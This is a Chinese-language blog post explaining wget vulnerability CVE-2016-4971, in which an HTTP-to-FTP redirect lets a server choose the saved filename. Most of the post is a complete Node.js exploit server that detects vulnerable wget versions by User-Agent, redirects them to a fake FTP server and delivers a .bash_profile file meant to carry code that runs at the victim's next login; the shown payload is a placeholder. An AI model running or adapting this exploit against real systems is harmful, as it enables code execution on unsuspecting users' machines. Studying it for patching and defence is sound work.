wget漏洞CVE-2016-4971

前几天wget出了一个洞,

On a server redirect from HTTP to a FTP resource, wget would trust the HTTP server and uses the name in the redirected URL as the destination filename.

——https://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-4971.html

即,当wget请求一个HTTP站点上的文件时,如果HTTP服务器将它重定向到一个FTP服务器的话,wget将使用HTTP服务器所给出的在FTP服务器上的文件的名字。

如果我们重定向到一个名为.bash_profile的文件,而且用户下载文件的目录下又正好是默认的登录目录,且没有这个.bash_profile的话, 我们的目的就达到了。我们可以在.bash_profile中写上恶意代码,下一次该用户登录上来时,这些恶意代码就会自动被执行,于是23333

在下面的例子中,我们把所有来自wget的、并且wget版本低于1.18的请求都重定向到了携带恶意代码的FTP服务器上,可以看到,客户端wget使用了我们重定向过去的文件名。

服务器端
服务器端
客户端
客户端

 

代码如下,

var net = require('net');
var server = net.createServer();
var ftp = net.createServer();
var host ='Server IP Address';
var bash_profile ='#!/bin/sh\n#wget vulnerable\n';

// FTP服务器监听在21端口
ftp.listen(21, host);

// HTTP服务器监听本机的80端口
server.listen(80, host);

// 有HTTP用户连接时
server.on('connection', function(socket) {
    console.log('HTTP connected from: ' + socket.remoteAddress + ':' + socket.remotePort);

    socket.on('data', function(data) {
        // 分离头部(当然, 我们假设这是HTTP包)
        var header = data.toString().split('\r\n');
        // 判断是否是wget所发送的请求
        var wget_regex = new RegExp(/^User-Agent: Wget\/([\d\.]+)?(.*)/);
        for (var i = 0; i < header.length; i++) {
            var matches = header[i].match(wget_regex);
            if (matches != null) {
                // 判断wget版本号, 低于1.18的版本可以利用此漏洞CVE-2016-4971
                var version = parseFloat(matches[1]);
                console.log('wget version: ' + matches[1] + ' ' +(version < 1.18 ? 'vulnerable' : 'invulnerable'));
                if (version < 1.18) {
                    // 重定向到ftp服务器
                    socket.write('HTTP/1.1 302 Found\r\nContent-Type: text/html; charset=UTF-8\r\nLocation: ftp://' + host + '/.bash_profile\r\nContent-Length: ' + bash_profile.length + '\r\n\r\n');
                }
                // 关闭HTTP的socket连接
                socket.destroy();
            }
        }
    });
});

// 有FTP用户连接时
ftp.on('connection', function(socket) {
    console.log('FTP connected from: ' + socket.remoteAddress + ':' + socket.remotePort);

    // FTP返回状态码和消息
    socket.reply = function (status, message, callback) {
        if (!message) message = messages[status.toString()] || 'No information';
        if (this.writable) {
            this.write(status.toString() + ' ' + message.toString() + '\r\n', callback);
        }
    };

    // FTP数据链路的Handler
    socket.dataTransfer = function (handle) {
        console.log('Remote begins downloading...');
        function finish(dataSocket) {
            return function (err) {
                if (err) {
                    dataSocket.emit('error', err);
                } else {
                    dataSocket.end();
                }
            }
        }

        // 开始数据传输
        function execute() {
            socket.reply(150);
            handle.call(socket, this, finish(this));
        }

        // 将准备好的放入队列
        socket.dataTransfer.queue.push(execute)
    }
    socket.dataTransfer.queue = []

    // 当有新的FTP连接时
    // 自动回复200
    socket.reply(200);

    // 处理FTP命令
    socket.on('data', function(data) {
        var parts = data.toString().trim().split(" ");
        var command = parts[0].trim().toUpperCase(), args = parts.slice(1, parts.length);
        var callable = commands[command];
        if (callable) {
            callable.apply(socket, args);
        } else {
            socket.reply(502);
        }
    });
});

// 一个不完整的FTP状态码-消息表
messages = {
    "150" : "File status okay; about to open data connection.",
    "200" : "Command okay.",
    "215" : "NodeFTP server emulator.",
    "230" : "User logged in, proceed.",
    "331" : "User name okay, need password.",
    "502" : "Command not implemented.",
};

// 一个不完整的FTP命令表
commands = {
    // 用户名
    "USER" : function () {
        this.reply(331);
    },
    // 密码
    "PASS": function (password) {
        this.reply(230);
    },
    // FTP系统类型
    "SYST" : function () {
        this.reply(215);
    },
    // 当前工作目录
    "PWD" : function () {
        this.reply(257, '"/"');
    },
    // 传输的数据类型
    "TYPE" : function (dataEncoding) {
        if (dataEncoding == "A" || dataEncoding == "I") {
            this.dataEncoding = (dataEncoding == "A") ? 'utf8' : "binary";
            this.reply(200);
        } else {
            this.reply(501);
        }
    },
    // 被动模式
    "PASV" : function () {
        var socket = this, dataServer = net.createServer();
        dataServer.on('connection', function (dataSocket) {
            dataSocket.setEncoding(socket.dataEncoding);
            if (socket.dataTransfer.queue.length) {
                socket.dataTransfer.queue.shift().call(dataSocket);
            } else {
                dataSocket.emit('error', {"code": 421});
                socket.end();
            }
            dataSocket.on('close', function () {
                socket.reply(this.error ? 426 : 226);
                dataServer.close();
            }).on('error', function (err) {
                this.error = err;
                socket.reply(err.code || 500, err.message);
            })
        }).on('listening', function () {
            var port = this.address().port, host = server.address().address;
            socket.dataInfo = { "host": host, "port": port };
            socket.reply(227, 'PASV OK (' + host.split('.').join(',') + ',' + parseInt(port/256,10) + ',' + (port%256) + ')');
        }).listen()
    },
    // 取文件
    "RETR" : function (file) {
        var socket = this;
        console.log('Remote begins downloading...');
        socket.dataTransfer(function (dataSocket, finish) {
            dataSocket.write(bash_profile, socket.dataEncoding);
            dataSocket.end();
            console.log('Remote ' + socket.remoteAddress + ':' + socket.remotePort + ' has retrived .bash_profile.');
        });
    },
};
声明: 本文为0xBBC原创, 转载注明出处喵~

《wget漏洞CVE-2016-4971》有2个想法

    1. 好像是有人研究了wget的代码,发现通过HTTP下载文件时,wget会无条件信任HTTP服务器重定向到的FTP服务器上的文件地址,于是23333

发表评论

电子邮件地址不会被公开。 必填项已用*标注